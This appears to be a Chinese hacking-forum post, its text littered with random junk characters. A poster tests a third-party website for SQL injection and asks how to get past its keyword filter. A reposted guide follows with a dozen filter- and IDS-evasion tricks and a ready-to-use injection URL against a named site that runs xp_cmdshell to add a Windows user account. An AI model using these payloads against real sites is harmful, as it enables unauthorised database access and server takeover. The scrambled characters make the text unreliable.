路过这个网站,检测了一下. h! X" u+ O( Y
http://www.xxx.cn/Article.asp?ID=117 and 1=1: T. G& Z7 O/ n5 `* Y+ R2 N
直接返回主页
, A O% M' y5 \0 ~# N( ]( I* phttp://www.xxx.cn/Article.asp?ID=117 or 1=11 v! N0 x- `% C" T. m; n
直接返回主页5 x2 ^/ V' d! f
http://www.xxx.cn/Article.asp?ID=117 or
/ W0 W, f* K8 a k& @# L3 z没有返回主页 没有过滤or2 H9 d, ~! R6 R& @% M7 y! s( ^
http://www.xxx.cn/Article.asp?ID=117 and% ~4 o+ I0 v' ~1 V% t* h% E( l2 ?
直接返回主页 看来过滤了and
6 a0 k& D( A# ghttp://www.xxx.cn/Article.asp?ID=117 or 1
L! H4 q Z% {' | g没有返回主页 即没有过滤or 也没有过滤1
% T9 w& |/ C9 b( Mhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
1 X; y8 t1 n# ^3 p1 F直接返回主页 很明显过滤了等号 & Q8 I6 S8 |$ ^& w& `; U
or的特性是与and相反的.
, ?/ ~; k' l& y q5 a& Nor 1=1 爆错 或与原页面不同
3 ^7 j5 B( s4 n* j5 b \or 1=2 原页面相同& {' I7 |6 A& ]: C) w; v8 [1 N
这样就是一个注入点3 ~/ u1 w3 C" D6 E4 A0 \
但他过滤了=号 我就用><号代替=号吧!
T0 U5 N4 O5 @or 1<2 很明显是正确的,所以应该与原页面不同
6 F7 G/ I" a7 C* ^! H) B$ tor 1>2 很明显是错误的,所以应该与原页面相同3 Z5 L! |* Z% K
然后看看有没有过滤其他的查询语句,比如select.$ k1 \- E% w0 ]; Z0 ~5 K& n
http://www.xxx.cn/Article.asp?ID=117 select5 J' _, X: ~0 R
直接返回主页/ j/ h' S' c0 D/ U& X5 { o- r
又迷茫了.. O' T: F# X! w- H
s8 C8 z! S% h2 b3 W! [ v6 U" [
) [- ^3 E4 N4 K0 }7 e% u3 A: o/ D& \% Y
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
, P+ k( i6 U, \6 q' m这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
8 n% l9 o* I$ Q5 `% P! L: m- k================================================ y( @9 B3 s6 Z2 f8 {
以下是转贴:
( y: s% a! Y, P5 ]0 u, b+ U5 _3 A$ @, r+ a+ `2 i% K
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
! J& W% O/ }" [6 ~经过我的收集,大部分的防注入程序都过滤了以下关键字: , p1 v9 S% [* T' A% L4 [
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = % N9 e- \2 H5 N7 w9 R5 m) d+ e
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 & D& x8 D8 Z" J
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 * N1 L. t" ~0 ~5 K
1、运用编码技术绕过 & u: d+ a0 Z) J8 N" @2 B
如URLEncode编码,ASCII编码绕过。例如or 1=1即 + W1 i: L J3 C( t* j. k
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 9 q2 M! ^: s+ x- G
% n0 [- p0 n) d, C, P) a; ^4 Q
2、通过空格绕过 ( B5 K3 u6 N' ~: E2 F* @
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
) L0 y! ~6 i& F+ N. U( O9 [( a2 ior’ swords’ =‘swords’ P/ m/ A; O8 m
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 5 q, l4 [ F% B1 Z6 N, Y
3、运用字符串判断代替
! t: S# |4 N. I( _! {* q0 \用经典的or 1=1判断绕过,如
( K: q l$ f; Z* p, P3 kor ’swords’ =’swords’ 2 L, J; t9 P1 ~) P/ a9 [& Q/ {# f* j
,这个方法就是网上在讨论的。 . M( j3 j& c Y8 p; S# N+ F
4、通过类型转换修饰符N绕过 I' z$ r, S8 t
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 2 b+ W7 B! E9 R* D
5、通过+号拆解字符串绕过 * [' J3 z6 }( W6 \+ |+ h
效果值得考证,但毕竟是一种方法。如 3 e1 Y; t' d: l4 b" x2 J' Q
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 9 k; b3 t( } U: U4 W2 g: B
7 w# r; v4 j1 w ]2 m5 u) Q: x
6、通过LIKE绕过
+ Q% m( @; r$ k2 U以前怎么就没想到呢?如or
3 I( r x0 R8 j* v: ~) h& z’swords’ LIKE ’sw’ 4 z2 p- F; u4 [$ C! x
!!!显然可以很轻松的绕过
; }6 }7 J0 m* j I“=”“>” % O: O3 \; u6 o0 b8 m1 q
的限制……
# t4 u2 i$ Q/ I& R7 ?7、通过IN绕过
( z; ^8 b" ~0 k' a3 f与上面的LIKE的思路差不多,如 . O) A! b$ s* f7 t# S' v6 S0 H% v
or ’swords’ IN (’swords’) 2 Y/ `5 c3 d1 G( S# V5 l2 Z
+ l8 V- E$ @$ q2 O }7 H# Y8、通过BETWEEN绕过
$ G+ P& t' n$ C5 H2 d( J( W* s/ z- Z如
4 ^& o' l3 r* s& N- l3 }7 Wor ’swords’ BETWEEN ’rw’ AND ’tw’
) \0 j0 v( x2 q$ \+ w
- ]3 @/ v: k3 R$ R* Q3 z; q9、通过>或者<绕过
; C, C$ V1 x$ w6 Nor ’swords’ > ’sw’
5 O% P2 K. `- x' \' x) m. [7 aor ’swords’ < ’tw’
$ z$ w" v2 Q V$ t2 {0 Y/ L8 A$ ^or 1<3 4 [: I) Q6 K+ q+ o7 _: O
……
+ H7 i. c$ k4 J! E$ W% o* |7 L10、运用注释语句绕过 7 j7 ~: m0 t( q% Z/ q2 F0 H
用/**/代替空格,如: 7 x" U; r! j9 O; t3 m4 F
UNION /**/ Select /**/user,pwd,from tbluser
! w/ T+ [7 X7 i: [% a! R' s y8 ^9 x: g x) L" g
用/**/分割敏感词,如:
% H: G5 L8 ]# ]! U$ K [U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
# w9 ~& K, F# N# ^2 l4 |
5 e# ]9 m- g' C11、用HEX绕过,一般的IDS都无法检测出来 $ w; D$ U9 A% Y! u* g. ~: \
0x730079007300610064006D0069006E00 =hex(sysadmin)
3 L" {8 Q; t8 i0x640062005F006F0077006E0065007200 =hex(db_owner) & W2 H. M F9 ]
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: 3 f! V' \7 ]7 p+ I5 R
declare @a sysname & O! D7 Y7 o) N2 j
select @a=
8 r: P$ l2 g1 F! ]& q- Q8 n exec master.dbo.xp_cmdshell @a
6 Y4 s$ ]$ p& b* G% s" H效果 / c+ C! m( a c5 T9 }
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- 0 B; n2 j7 q6 A4 e' }* C
5 e/ F# N- |* @8 E其中的 ! k* t4 A' S) y
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 & l- ]: N) w! S
就是 & x5 \8 @) q+ e
“net user angel pass /add”
7 q1 V5 F+ l% l; f; R- ]* M9 w( E8 D0 T; u0 E7 h* I' |
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。* H& Y6 M7 g% t0 B
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
) V0 F% C1 r! k1 D另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
6 ?! c. w" Z: t: o5 b# kCopy code
% l1 w% u! T% \& m, Hselect * from table exec xp_cmdshell'xxxxxxxxxx'7 D% S# K; A v
' u3 r; S/ i- x) M; j
1 j( \3 T. Y: Z8 N: C! y6 T& G& {1 Uselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'+ R1 r8 q* Y4 s, H2 Z" I' V
" m. ~2 T+ c+ Y8 r: q1 I
9 b, P3 E; d: l; V% V! C: d: B; tselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
9 Y F3 N. x9 K& _! H. }4 m" P" a' E
6 c2 x; [2 b$ ?" [# ^/ {- B* F
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx', b. j; y( i# d
, |2 G d/ [2 h2 S' C
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?3 }: |! t9 a& z! {: l, u0 I/ c
N6 E2 D. n% E% v: f这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了1 a" m3 x) e5 i' e `# H4 h
可能大家早就知道了,不管怎么说,发在这里吧!6 y0 n8 V( \0 _/ O5 r
" ~ y4 _; R5 `5 |4 e
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。 H3 }& N& ?6 V
w: L* t! A4 r8 M) Q
( f" W9 w" u6 K( \( \
! |' x# a/ K2 ], ~: G+ Z' J对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
# I% [3 c) j& y比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? / Q* C+ H1 q1 A8 P5 n+ r1 n p
3 R% o: N" I' q7 b% X |